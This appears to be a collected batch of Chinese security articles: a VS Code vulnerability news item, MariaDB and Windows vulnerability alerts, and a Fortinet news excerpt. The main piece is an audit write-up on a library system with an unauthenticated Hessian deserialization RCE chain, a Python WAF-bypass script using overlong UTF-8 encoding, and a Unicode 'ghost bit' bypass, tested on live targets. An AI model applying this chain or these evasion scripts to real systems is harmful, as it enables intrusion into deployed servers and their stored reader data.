1. 可修改审核状态、申请名单等字段，绕过业务审批流程，破坏业务规则。
doc/2026-10/微软向研究员发放4000美元奖金，奖励其发现VS Code高危安全绕过漏洞.md
+58
View File
@@ -0,0 +1,58 @@
# 微软向研究员发放4000美元奖金，奖励其发现VS Code高危安全绕过漏洞
原创 网络安全9527
网络安全9527 安全圈的那点事儿 2026-10-20 00:01
微软向安全研究员陈萨姆（Sam Chen）发放4000美元奖金，该研究员上报了Visual Studio Code（VS Code）的一处漏洞，攻击者可借此绕过工作区信任（Workspace Trust）防护机制。
 
该漏洞编号为CVE‑2026‑81376，影响版本低于1.136.2的VS Code，CVSS高危评分为9.6分。微软已经完成漏洞修复，用户应当升级至1.136.2或更高版本。
 
工作区信任功能用于限制VS Code在用户打开未审核项目时的操作权限。在受限模式下，编辑器会拦截或限制可以执行该工作区代码的各类功能。
 
该漏洞的危害在于，它可以破坏这道安全边界，泄露开发者本地数据，或是允许以当前用户权限执行恶意代码。
 
以Samchen为笔名对外发布研究成果的研究员陈萨姆表示，该漏洞隐藏在VS Code的工作区信任机制中，可被用于实现远程代码执行。
 
他的公开博文说明完整技术分析文档尚未发布，因此目前没有公开具体漏洞利用步骤。这份报告仅披露软件漏洞，并未发现恶意软件，并非恶意攻击事件报道。
 
VS Code高危安全绕过漏洞
 
微软安全公告将CVE‑2026‑81376描述为“存在缺失判断条件的不完全比较问题”。美国国家漏洞数据库（NVD）将其归类为可通过网络触发的安全功能绕过漏洞。
 
该漏洞CVSS3.1指标包含用户交互条件，也就是说需要受害者执行特定操作；漏洞对保密性、完整性、可用性均会造成严重影响。
 
实际风险并不只是项目内部包含可疑代码。工作区信任的设计初衷，就是通过限制可运行项目内容的功能，降低打开陌生文件、文件夹带来的风险。
 
微软公告说明，攻击者精心构造的工作区可以连接攻击者控制的服务，绕过上述防护限制。一旦攻击成功，本地数据会遭到泄露，恶意代码将以登录用户身份运行。
 
该用户权限具备很高的攻击价值。开发者经常在同一台设备保存源代码、凭证、云服务工具以及访问令牌。一旦不受信任的工作区内容突破安全边界，遭受威胁的就不只是编辑器本身。
 
公告并未宣称所有工作区都可以触发该漏洞，公开资料也没有完整的概念验证代码。请勿把未经证实的漏洞利用细节当成既定事实。
 
该漏洞也反映出开发工具领域普遍的安全问题：当软件过度信任项目文件与编辑器配置时，这些内容就会成为攻击路径。
doc/2026-10/智能网联汽车漏洞管理实践探索.md
+93
View File
@@ -0,0 +1,93 @@
# 智能网联汽车漏洞管理实践探索
GRCC
GRCC IoVSecurity 2026-10-20 00:00
![](https://mmbiz.qpic.cn/mmbiz_gif/CQb4KERYG3QA0ezCCjgRONQvXCf3wka7je04trwIyMqsDUWBubpwfiahXImiaoia7NnueGomOO28vicSZ5wEFFTa1Q/640?wx_fmt=gif#imgIndex=0 "")
点击上方
蓝色字体
，关注我们
**/**
**技术交流群****/**
添加微信
13918880149
\**15021948198(好友已满），申请会员下载ppt & 加入网络信息安全、测试评价、汽车电子、自动驾驶、智能机器人、智能船舶、超级高铁、飞行器、招聘求职、投融资合作群...**
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/WvsNkg6cHNyh2pCVA9WAiaSogzg2le3cIEQFBicQibl2PGtAE4cHCrLoCZiaeOddqR6m6RfW5sVjwVichdW57pPgUN9EcQrsPgkuokWRXP0T3n3U/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=1 "")
![](https://mmbiz.qpic.cn/mmbiz_jpg/WvsNkg6cHNz9Sq74dQNRicDkhwwTDurS8VWBC0BEw9oDaMpwbVYcsicULkbVTfua0lxCEbibmnN3ZYRLvR1k345e0Af7tMiaC29hszGsIr3oTW8/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=2 "")
![](https://mmbiz.qpic.cn/mmbiz_jpg/WvsNkg6cHNxJpk6Fm1AKIzzICuu5ibMZ87JOBQCwibvashZywGjCSG6angca4TozVsszIOg3MicXX2pGzVfrHLpUh6Cf1jJ3qjtHljecib9sRCY/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=3 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/WvsNkg6cHNxhUZiapbDtEM09lPNuKTXOGyDebrIb0ibLn2HR3RUhiaQwiaiclWBneZUsaicjJ0giaCDp25scTaJroa9cN943dVyic5VnR20wsr96BlM/640?wx_fmt=jpeg&from=appmsg&watermark=1#imgIndex=4 "")
![](https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iabwjyojLhA03PtxUnkNPREnt2F48ywfXLpDdDAjicOTPI8Q94tVLbJ58tbRs12iaXDKhUOW9gd4NlFA/640?wx_fmt=gif#imgIndex=5 "")
相关文章
# 整车信息安全设计对车企的挑战与一汽奔腾的应对
# 智能网联汽车安全测评的中国方案与实践
# 国强标下智能网联汽车信息安全检测解决方案
#
![](https://mmbiz.qpic.cn/mmbiz_gif/MfTd6rd9CyvNRMW8I9cvI1CK5gKiaYqg2veTn9t9dAe1GxYic7pAvgvRIKNFickConFyX8AvW2reAq8GchJI6aBpA/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=6 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNzNY8CmicuhgtyPx1PLL1NOwv1ExPIe7z2r0Qo75qPLQkXmLSMoniaTFbdd1mfUbSyImqlCuKEau7tMqvbwsuMdBCf5sQh4EysRE/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=7 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNw1TS1MbiaAUZUxwVxhXrkDpMIdicxlfFE6olg1ia9BVTy2dVbzKicMicavwib7IMibDqnfZexXMZWibXHJbLA0ouMj4DXQPDtqMQTXzWQ/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=8 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNwXE2uQjPpYbnUHRotK0guaCRJodAEhl8DkNSPkA6I7HxrP8g8sXICu7EERsRfXnfWIdx6tbfiagx4ibqr7T2IQia3vL7PB8Dn238/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=9 "")
![](https://mmbiz.qpic.cn/mmbiz_png/WvsNkg6cHNwGCGVo8OZnTkf3jBGEWqPuMZuMhbzngn0CzM2y8aA9UqskDa9V25ZFTrxDRjr5TWeMOawWSTicLayNXbdEjuTpMpvgiadia8j3Zk/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=10 "")
![](https://mmbiz.qpic.cn/mmbiz_png/8Pvibnf7ic0cy77VtN8ibA7XuZgvGQoicjpar7CWkfIEXV4CEjiankS0tjDZEUgxhNHf0HicpBNcO4YuhOm5eIdb7RaA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=11 "")
![](https://mmbiz.qpic.cn/mmbiz_png/9yhibG49kQicogTWBZcB6XwgTib9lH6QN57pFdZwoRicFbc3JLM7icu8hadyzRKztBHGZ7eDEVgMiaHYqExfhbbpb5vA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=12 "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/WvsNkg6cHNxTM4koEqbuI1FWIEqlicNMW0CC4KdeBpXrzETqg3hk0FJ0v9BPDuLsJZMJP8ewqC0WBdMc0pTXhYibSibDnd5nlsE2ZOaheMRtPE/640?wx_fmt=png&from=appmsg&watermark=1#imgIndex=13 "")
扫描二维码**申请**
会员**下载ppt**
 & 
加入行业交流群
获取合作机会
![](https://mmbiz.qpic.cn/mmbiz_png/kuhNyShuqyAGSIk680L6OHthYzkwuUDkKqfw3icohb1JLrEvjicKgfaiatIDP1L7RN7zPQkzbrksWzTMmgh5LKjzA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=14 "")
![](https://mmbiz.qpic.cn/mmbiz_jpg/uTSIm9RGwm0ibSggKRaicPibLl2nXk3lGdgeoXo0P9Xy8e2aNHPm3LOhKjicHk2zhB5V1ar3CwUTs258UkiaTPYq4gw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=15 "")
扫描二维码获取
更多精彩
![](https://mmbiz.qpic.cn/mmbiz_png/XiacM3aibSNia0qvdL1PUiaZugASarnXx5wAxT5ic13sgRB49E67AsdWeZpHnibUEW2oibToqEWRjHmImztgv33MaknnQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=16 "")
关注“**IoVSecurity**
”
![](https://mmbiz.qpic.cn/mmbiz_png/fBQwicMRtG3qyicHcTibNaG9RMs2E8knzWpfH0gnibzKsciaBTYdnW8mFyNgvEAqBNoib29iasxMgwh2gWRSIkINyHVLA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=17 "")
![](https://mmbiz.qpic.cn/mmbiz_png/D7nIuxbSmauhlzDVRGHTibAGyGcFvY5qFSPyZdMCxTSXwjhzFTotRe6rciaIxatoAHF0MPI73MMPAbf0UUMIMSvw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=18 "")
点个在看
你最好看
doc/2026-10/某盘图书管理系统审计(0dayRCE绕WAF).md
+185
View File
@@ -0,0 +1,185 @@
# 某盘图书管理系统审计(0dayRCE绕WAF)
渗透结束-非常安全 2026-10-20 02:55
```
本文本人首发于https://cn.t00ls.com/articles-75626.html
```
# 前言
这套源码应该挺旧了，之前刚学代审的时候实在是挖不到新的0day了，就一直搁置，AI最近太强了，想起这个就来看看，源码里的漏洞还是挺多的，但实际很多已经是新版所以都修复了，AI审了一下，也算是柳暗花明又一村，出了个反序列化RCE，不过利用起来也是一波三折。PS：天天晚上都睡不着，就怕睡着了起来看到宝哥消息说交报告了，实在是卷不过宝哥了，企业SRC猛猛出洞，东北刀枪炮这一块（家里上千亩地。。。。），真是又怕兄弟苦，又怕兄弟开路虎。
# 鉴权分析
老jsp系统了，老规矩先看下鉴权，找拦截器、过滤器
现在真的是偷懒了，先看下历史漏洞（网上有文章，所以才说我以前没挖到0day。。因为那会思路比较少，而且没AI。），先让AI初步分析一下
发现只有过滤器
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9FYZj5r9vFibqho7iaq9LhNBGcpaolxlB9mDP7KRpmL0ic1hFdMC2KecDXheib6o9ISuZ2qmUo1Q4ZVhqpHkaoQdrTxRfueF5JpjkJreGDc2icJU/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9FYZj5r9vFicgvicY0yxPuvrBs06af6TEpWicD9l3bJXHG1KftyicRej0OKEepPAMFDCU6QibCsmibf9V5uHvZzH8D26vnjdZic5s1jCynw0XcAHKs/640?wx_fmt=png&from=appmsg "")
可疑的shiroFilter和另一处的ShiroSsoFilter两个过滤器，看下shiro版本
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9FYZj5r9vFibngWIutRvI3QBL0YbeUicaMRjYJ0QZDETdTm4A8lu7kdRcHibeDmqIM2medrFibdtvxx40loeQySxiaTLpJq2AA7hq68SIJnsoJUU/640?wx_fmt=png&from=appmsg "")
很旧的版本，看了一下果然存在默认密钥
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9FYZj5r9vF9Ciclf2JMbAZ3C4PDsK2XpwvM2ueIMqsgpWFNDDdwqcxmRweXL7wMI8X5hS0icK305rjYEKUI3jNyMHVPA6L9A95JsyWAWIgzZM/640?wx_fmt=png&from=appmsg "")
但没啥用，实际环境很多系统都是新版了。先看下shiroFilter过滤器，没啥东西
![](https://mmbiz.qpic.cn/mmbiz_png/9FYZj5r9vFicTcA6SGt6vibnic2A2r4Jq3fO9lDHGsVwSGLjDO0TQViasIXnXib6ziafNIQVDGjRbBZfx6r15zkr9icBIXrbh5MicrPfU2UkIHSPuyo/640?wx_fmt=png&from=appmsg "")
再看ShiroSsoFilter过滤器
```
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {    AttributePrincipal principal;    HttpServletRequest request = (HttpServletRequest)servletRequest;    HttpServletResponse response = (HttpServletResponse)servletResponse;    Object object = request.getSession().getAttribute(CONST_CAS_ASSERTION);    Boolean cacLogin = ParamUtils.getBooleanParameter((HttpServletRequest)request, (String)"cacLogin", (boolean)true);    if (CommonConstants.openSSO && object != null && !SecurityUtils.getSubject().isAuthenticated() && cacLogin.booleanValue() && (principal = (AttributePrincipal)request.getUserPrincipal()) != null) {        Map attributes = principal.getAttributes();        if (ObjectUtils.isNotEmpty((Object)attributes)) {            String sign = String.valueOf(attributes.get("sign"));            String userName = String.valueOf(attributes.get("username"));            if (userName != null && userName != "") {                userName = new String(Base64.decodeBase64((byte[])userName.getBytes()));            }            if (sign != null && userName != null && !sign.equals("null") && !userName.equals("null")) {                boolean rememberMe = Boolean.getBoolean(String.valueOf(attributes.get("rememberMe")));                String p = Base64.encodeBase64String((byte[])String.valueOf(object).getBytes());                String loginType = "barCode";                MyUsernamePasswordToken token = new MyUsernamePasswordToken(userName, p.toCharArray(), rememberMe, request.getLocalAddr(), sign, loginType);                SecurityUtils.getSubject().login((AuthenticationToken)token);            } else {                logger.error((Object)"get cas attributes error:username or sign is null");            }        } else {            logger.error((Object)"get cas attributes error:null");        }    }    try {        if (ProductManager.getInstance().getProducts().size() == 0) {            throw new LicenseException("\u7cfb\u7edf\u672a\u6ce8\u518c", "1");        }        IVersion pro = ProductManager.getInstance().getProductByUrl(request);        if (pro != null) {            License.checked((IVersion)pro);        }    }    catch (Exception e) {        LicenseException ex;        if (e instanceof LicenseException && (ex = (LicenseException)e) != null && Flash.current() != null) {            Flash.current().put("p_error", ex.id);            Flash.current().put("p_msg", ex.getMessage());        }        RequestDispatcher rd = request.getRequestDispatcher("/pages/license_error.jsp");        rd.forward((ServletRequest)request, (ServletResponse)response);        return;    }    filterChain.doFilter((ServletRequest)request, (ServletResponse)response);}
```
filterChain.doFilter放行在最后，可以看到只有异常的时候才会return，回头看if条件代码块和try代码块
if与条件很长一个个看
CommonConstants.openSSO是个类常量，跟进一下CommonConstants类找openSSO变量
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9FYZj5r9vF8K5ETmL82McofYiclianeSCTXrHyia7n6CNxI83cA4HBU1J0dxO74qZzGVYMEDX3HYkUdicUm5U57CNGDZ5ZAJtRic0Xap3ckZBiakI/640?wx_fmt=png&from=appmsg "")
静态代码块直接赋值flase了。。那if代码块不就没用了吗。。看不懂开发的脑回路，跳过if继续看try代码块
一看就知道是判断系统是否授权了的，直接过掉。。那鉴权到底在哪？可能有子项目还有过滤器，再找了找找到了子项目里的CASFilter过滤器
回到web.xml看一下
```
<!-- CAS 认证过滤器 --><filter>  <filter-name>CASFilter</filter-name>  <filter-class>org.jasig.cas.client.authentication.CasExtendAuthenticationFilter</filter-class>  <init-param>    <param-name>casServerLoginUrl</param-name>    <param-value>http://x.x.x.x:8080/login</param-value>  </init-param>  <init-param>    <param-name>renew</param-name>    <param-value>false</param-value>  </init-param>  <init-param>    <param-name>gatewayStorageClass</param-name>    <param-value>cn.com.goldlib.libweb.cas.client.authentication.URLGatewayResolverImpl</param-value>  </init-param>  <init-param>    <param-name>gateway</param-name>    <param-value>true</param-value>  </init-param>  <init-param>    <param-name>serverName</param-name>    <param-value>http://x.x.x.x:99</param-value>  </init-param>  <init-param>    <param-name>exclusions</param-name>    <param-value>/api/opac/IGdlisnet.sapi</param-value>  </init-param></filter>
```
发现只排除了/api/opac/IGdlisnet.sapi这个路径，好像也没啥过滤。。最后看shiro配置文件
![](https://mmbiz.qpic.cn/mmbiz_png/9FYZj5r9vF8dJunytDTjaniaYrzZrU525HbhkgbKOJJnf5RlL6Bf7pThwmO6rOPHEGKBPHMeL8iaeQMeZibysiarR0W4tWnhX8I8SAPjicFRiaOkw/640?wx_fmt=png&from=appmsg "")
可以看到只拦截/admin/**，别的都放行。。太抽象了，说实话我很好奇新版现在是啥代码逻辑，可惜拿不到。说实话这旧版系统鉴权就是一坨没啥好看的。历史漏洞网上有文章我就不详细写了，因为我看了下都是常规的没什么特别的思路，直接进入正题。
# Hessian反序列化 RCE（0day）
AI找的链路
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9FYZj5r9vFicOxoB40mo69Kv8mvyCm5cfzoRrke3LRujFeDQVhadS4ib2w3wJQSCssEsmeIvwqu1k3QVmrnaniajibXSwxd5NmTiav7exlmejJMU/640?wx_fmt=png&from=appmsg "")
前面两个鉴权我们都分析过了没啥过滤，正巧sink点就是前面那个过滤器放行的/api/opac/IGdlisnet.sapi路径存在未授权反序列化漏洞，跟进一下OpacRemoteDispatcherServlet类
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9FYZj5r9vFic8UEecXTEsIPDnvhh86JicZFqbN1SdicAxF2dTc4luz62sfffhwATH1SL1NWUdPFSsAtibCbLDXLqV2zEtt0VHKg8SiayJtb4CY3E/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/9FYZj5r9vF9eEwL7cuRLAFjTeJLXV6go41Pl27BAt4MOjZzevDPP6iaThYM8gLwENABq6oiaOaYeNywyfFRBT9tzicbq5hKm9riciacPEdsG3k7s/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/9FYZj5r9vFicic7mJeWyUuQicRrI5qx53sBuWTMdywrwQW02W185tBPzrSruDBibWS8p0EjxgA0eicFIPBsQbibqvdblBfRLAVoFwG91eypVuGiahs/640?wx_fmt=png&from=appmsg "")
跟进GdlisnetManager类发现方法都没有鉴权，所以理论上是未授权调用GdlisnetManager类里任何方法（大量读者要素信息泄露）
![](https://mmbiz.qpic.cn/mmbiz_png/9FYZj5r9vF8qibRKW5xr900sG7N3ZzQsrNISlvfmjMobBR9ya4qZfW2tqoDePKaFdRIQ5gibKFExYTU7M1zws3c6Q9ib0WU9BhWdWiaIpKJlI0A/640?wx_fmt=png&from=appmsg "")
未授权Hessian反序列化已经确认
![](https://mmbiz.qpic.cn/sz_mmbiz_png/9FYZj5r9vFibLA4IBUJnelMicPZB0Ws8RkHcFuZMI7hJEVkLwibLIx65LMD1x2oXyDibG1CFjhicNcCUpx42BpjicMqx1rmmhYHS1yic3YzvGlaKts/640?wx_fmt=png&from=appmsg "")
找下这个hessian反序列化的版本
![](https://mmbiz.qpic.cn/mmbiz_png/9FYZj5r9vF8hcq1cJJvyEKwyFDWXOdub6k0rTPticIQuRcnUwI4AAiaPKBP4NjRjL5YO9S5q9hiblYQGjD5T6jDr5TIWSZXaN2wc2k3r8hhZ5I/640?wx_fmt=png&from=appmsg "")
然后找下链子，找到了CVE-2021-43297这个，java-chains打了半天没通，后来仔细想有可能不出网，执行命令延时验证成功，构造链子这块全自动AI跑的，我真是不想人工看，每次看链子累的不行。。学一下AI写的链子
接下来请看AI表演
## CVE-2021-43297 延时验证 PoC 链完整讲解
**漏洞本质一句话**
：Hessian 反序列化**没有类型限制**
。Hessian2Input.readObject()
 拿到 classdef 就实例化任意类并填字段，4.0.37 及以前的版本没有任何可用的默认黑名单（CVE-2021-43297 官方 4.0.38 才补上）。
**触发点——method 名位置的 trick**
：金盘 OPAC 的入口是 POST /api/opac/IGdlisnet.sapi
，正常调用是 Hessian2 call：48 02 00 43
（Hessian2 协议头 + method 长度 0x02 + 'C'
 call tag）+ 方法名字符串 + 参数对象。**关键是把手里的恶意字节流放到 method 名字符串的位置**
：
- 服务端 readMethod()
 期待读到字符串 tag，我们给一个 0x4d 'M'
（map）tag
- expect("string")
 校验失败 → Hessian2Input 走 readObject()
** 回退** → 直接按 map 反序列化任意对象图
method 位置比参数位置宽松，外层解析没有强类型校验，整段 payload 就是内嵌的 Java 原生序列化字节流。
**链——SignedObject 壳包 CC5（跨协议嵌套）**
：外层是 Hessian 的 map（CaseInsensitiveMap
），放一对 ToStringBean(SignedObject)
 键值。map 反序列化完隐式调 toString()
 自动带出链子：
```
Map.toString()  → ToStringBean.toString()    → SignedObject.getObject()            # 反射，返回内嵌对象      → ObjectInputStream.readObject()    # ← 这里切到 JAVA 原生反序列化        → CC5: TiedMapEntry → LazyMap → ChainedTransformer          → InvokerTransformer("sleep", [N])            → TimeUnit.MILLISECONDS.sleep(N)   # 纯 JVM 阻塞，不出网
```
两层反序列化嵌套：**外层 Hessian 负责触发，内层 Java OIS 负责执行**
。SignedObject.content
 是天然的字节容器（JDK 自带、非第三方库），把 CC5 的原始字节塞进去即可——这也是"换 JDK 内置壳"能绕明文黑名单的底层原因：外层只见 java.security.SignedObject
 / java.text.*
/javax.management.BadAttributeValueExpException
 这些 JDK 原生类名。
**延时验证（时间侧信道）**
——不出网环境最干净的证明方式：
1. sleep 值在链里是个 Long
，payload 字节流中是 **8 字节大端**
（00 00 00 00 00 00 1F 40
 = 8000ms）
1. Runtime patch：按固定偏移改写这 8 字节 → 注入任意等待时长
1. 基线对照：正常 getUnitName()
 响应 **0.1s**
1. 判定：实测耗时 ≥ 注入值 − 1s 即链路真实执行（sleep 参数完全可控 = 任意反射/命令参数可控）
远程实测 11 个入口逐目标：注入 3000ms → 3.5s、5000ms → 5.1s、7000ms → 7.1s、9000ms → 9.1s，延迟与注入值精确对应，误差全是网络往返。
**加分建议**
：先本地验证再上远程——本地 JDK8u291 跑 exec 链，异常消息 foo=java.lang.processimpl@32a1bec0
（Runtime.exec 返回值 = 命令已执行），延时链本地阻塞 8104ms；远程只打延时侧信道。
# WAF绕过1
```
# -*- coding: utf-8 -*-"""绕硬 WAF 用 overlong —— 寻找合适字符（仅供学习参考）思路：对 payload 里所有可打印 ASCII 串（类名/包名/路径）逐字符做两字节      overlong 编码，编码后若不再残留黑名单子串就采用，并回写字符串长度      字段。黑名单是明文型匹配，readUTF 语义还原后照样进链 —— 设备不认识      overlong 就等于没匹配到。"""import reBLACK = [b"org.apache.commons", b"com.sun.org.apache", b"TemplatesImpl",         b"InvokerTransformer", b"java.lang.Class"]def ovl2(ch):    if 0x00 <= ch <= 0x7F:                       # ASCII → 两字节 overlong        return bytes([0xC0 | (ch >> 6), 0x80 | (ch & 0x3F)])    return bytes([ch])def find_edits(body):    edits = []                                   # (start, end, 新字节串)    for m in re.finditer(rb"[ -~]{3,}", body):   # 可打印 ASCII 串（类名/路径等）        s = m.group()        enc = b"".join(ovl2(c) for c in s)        if any(b in enc for b in BLACK):         # 编码后仍残留黑名单 → 换/跳过            continue        edits.append((m.start(), m.end(), s, enc))    return editsdef patch_body(body, edits):    out = bytearray(body)    for a, b, s, enc in reversed(edits):         # 倒序替换，保证偏移不失效        out[a:b] = enc    return bytes(out)def fix_lens(body, edits):    """回写所有被撑大的字符串长度字段（2 字节大端），使 Hessian/Java 层可读"""    out = bytearray(body)    for a, b, s, enc in reversed(edits):        newlen = len(s) * 2                      # 每字符变 2 字节        hdr = a - 2                              # 长度字段通常在字符串前 2 字节        if hdr >= 0 and out[hdr:hdr + 2] == len(s).to_bytes(2, "big"):            out[hdr:hdr + 2] = newlen.to_bytes(2, "big")    return bytes(out)
```
**配套说明**
（对应你写的"换 JDK 内置壳 + 同长替换"）：
- **换 JDK 内置壳**
：黑名单拦的是 commons-collections.map.*
 类名与裸串 InvokerTransformer
，即**明文型子串匹配**
。所以外层不出现第三方库，用 JDK 自带的 java.security.SignedObject
 包 CC5 原始字节（content 字节容器），黑名单根本看不见 CC 链；即便看见 SignedObject
/ToStringBean
/Transformer
 这类裸串，设备也是放行的。
- **同长替换**
：Hessian classdef 里的 java.lang.Class
（15 字节）替换成 A
×15（也是 15 字节，同长）——classdef 解析只报 unknown-class warning 不影响后续字段解析，但明文黑名单就匹配不到了。
- **overlong 只选 '.' 与 '/' 就够用**
：类名/包名里的分隔符就这两个（org/apache/commons/...
、com.sun.org.apache
），0x2E → C0 AE
、0x2F → C0 AF
，把分隔符 overlong 掉黑名单整串即断；必要时再对所有字母全字符 overlong（需要先确认目标 Java 层读的是 MUTF-8 的 readUTF，且没有"最短编码"校验——绝大多数 JDK 8 实现不做校验）。
都是不出网的，后续利用可以打内存🐎，我在这里就点到为止了。
# WAF绕过2-梅开二度
碰上了更硬的。。。上一份payload在这里不停地403，短时间内多次403就会直接拉黑一会IP。。折腾了好久。。这里用到今年BlackHat出现的一个技术:Ghost bit，原理是：攻击者将攻击 Payload（如 ../）中的关键 ASCII 字符，替换为低8位与之相同的“无害”Unicode 字符，因为Java中(byte)ch、ch & 0xFF、OutputStream.write(int)等操作会静默丢弃16位char的高8位。在多次尝试后，发现成功绕过了，是的，302了，这个需要统一认证，人直接裂开，白绕了。这里其实应该先用一个确认方式就是：别的空POST那个漏洞接口访问直接是500，只有他是302。。好家伙，小丑了。绕过方式就是写脚本找可用替换的字符。
# 总结
最后也是拿下7个RCE，绕了2个WAF，这是套EDU系统，懒得写报告直接给朋友交了，也是成功从脚本小子进化为AI小子了，后续会打算尝试学习审计一些大型开源组件和分享一些企业SRC挖掘的经验（不过目前这方面我是纯AI小子，没啥可说的。），实在是太懒了现在，部分内容为AI编写，如有错误请指出，望各位多多担待。
doc/2026-10/漏洞预警 MariaDB表名编码绕过漏洞.md
+53
View File
@@ -0,0 +1,53 @@
# 漏洞预警 | MariaDB表名编码绕过漏洞
浅安
浅安 浅安安全 2026-10-20 00:00
**0x00 漏洞编号**
- # CVE-2026-92262
**0x01 危险等级**
- 高危
**0x02 漏洞概述**
MariaDB是一款高性能开源关系型数据库管理系统，是MySQL的分支，广泛应用于Web应用、云原生、大数据与分析场景。
![图片](https://mmbiz.qpic.cn/mmbiz_png/NQlfTO30Mhy5vicWOOPUd9XqTzHTAh2EFwKJQA3OSVgRXxyWYuVPS5z8emqnDUkv3RtgqMaYbc886DicS9fEnUh3OEQ9pUHeMicnGmW381Vc2s/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=0 "")
**0x03 漏洞详情**
**CVE-2026-92262**
**漏洞类型：**
表名编码绕过
**影响：**
SQL注入
**简述：**
MariaDB存在表名编码绕过漏洞，由于其为兼容旧版表名而保留的mysql50前缀机制，该机制允许绕过表名在文件系统中的编码处理，并可能引发表缓存键冲突，导致不同表名错误地关联至同一表对象。具有数据库表创建及数据操作权限的低权限攻击者，可通过构造特定SQL语句触发漏洞，造成数据混淆、数据损坏或敏感信息泄露，严重情况下还可能导致数据库服务崩溃或远程代码执行。
**0x04 影响版本**
- 10.6.1 <= MariaDB <= 10.6.27
- 10.11.1 <= MariaDB <= 10.11.18
- 11.4.1 <= MariaDB <= 11.4.12
- 11.8.1 <= MariaDB <= 11.8.8
- 12.3.1 <= MariaDB <= 12.3.2
- MariaDB 13.0.1
**0x05 POC状态**
- 已公开
**0x06 修复建议**
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
https://mariadb.org/
doc/2026-10/漏洞预警 Windows Shell安全功能绕过漏洞.md
+72
View File
@@ -0,0 +1,72 @@
# 漏洞预警 | Windows Shell安全功能绕过漏洞
浅安
浅安 浅安安全 2026-10-20 00:00
**0x00 漏洞编号**
- # CVE-2026-96951
**0x01 危险等级**
- 高危
**0x02 漏洞概述**
Windows Shell是Windows的图形界面与文件处理核心组件，负责文件关联、Shell扩展、快捷方式、设置文件解析和应用程序启动等。
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SVleaDeU1ibPickZJzpKIF4Mcm9iaHXXSDJfzdooHoG4ZA4iaHupxCYLp8HtE2qPLEqYibUd5u3E3Nmiczw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=0 "")
**0x03 漏洞详情**
**CVE-2026-96951**
**漏洞类型：**
安全功能绕过
**影响：**
执行任意命令
**简述：**
Windows Shell存在安全功能绕过漏洞，由于其在处理命令中的特殊元素时存在命令注入缺陷。攻击者可通过邮件、即时消息或网页投递特制的.SettingContent-ms/.appcontent-ms文件，诱导用户打开。由于该文件类型未被Windows识别为危险类型，文件即使带有Mark of the Web标记，也不会弹出安全警告，成功利用可在当前用户上下文中执行任意命令，并绕过SmartScreen、Office Protected View等依赖MOTW的安全控制。
**0x04 影响版本**
- Windows 10 1607 < 10.0.14393.9612
- Windows 10 1809 < 10.0.17763.9376
- Windows 10 21H2 < 10.0.19044.7807
- Windows 10 22H2 < 10.0.19045.7807
- Windows 11 23H2 < 10.0.22631.7652
- Windows 11 24H2 < 10.0.26100.9711
- Windows 11 25H2 < 10.0.26200.9711
- Windows 11 26H1 < 10.0.28000.3231
- Windows 11 26H2 < 10.0.26300.9711
- Windows Server 2012 R2 < 6.3.9600.23470
- Windows Server 2016 < 10.0.14393.9612
- Windows Server 2019 < 10.0.17763.9376
- Windows Server 2022 < 10.0.20348.5761
- Windows Server 2025 < 10.0.26100.33650
- Outlook.com < 20260925.100
**0x05****POC状态**
- 已公开
**0x06****修复建议**
**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：**
https://msrc.microsoft.com/update-guide/zh-cn/vulnerability/
CVE-2026-96951
doc/2026-10/电信黑客攻击中被利用的Fortinet漏洞与隐蔽FortiGate植入程序相关联.md
+67
View File
@@ -0,0 +1,67 @@
# 电信黑客攻击中被利用的Fortinet漏洞与隐蔽FortiGate植入程序相关联
爱拍照的老李
爱拍照的老李 爱拍照的老李 2026-10-20 01:04
**导****读**
Palo Alto Networks 报告称，一名疑似受国家支持的威胁行为者在针对某电信机构的攻击中利用了 Fortinet 的多个漏洞。
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/PaFY6wibdwyJHB5rTpXzXfuzHiaUvatyTC6tCcqtYdhibd8mNH28CTI12ey8etY2293Xjibljm4SDK2h76MzqQeyuhZNP1hYeF3wpgGMSV9hKNY/640?wx_fmt=webp&from=appmsg "")
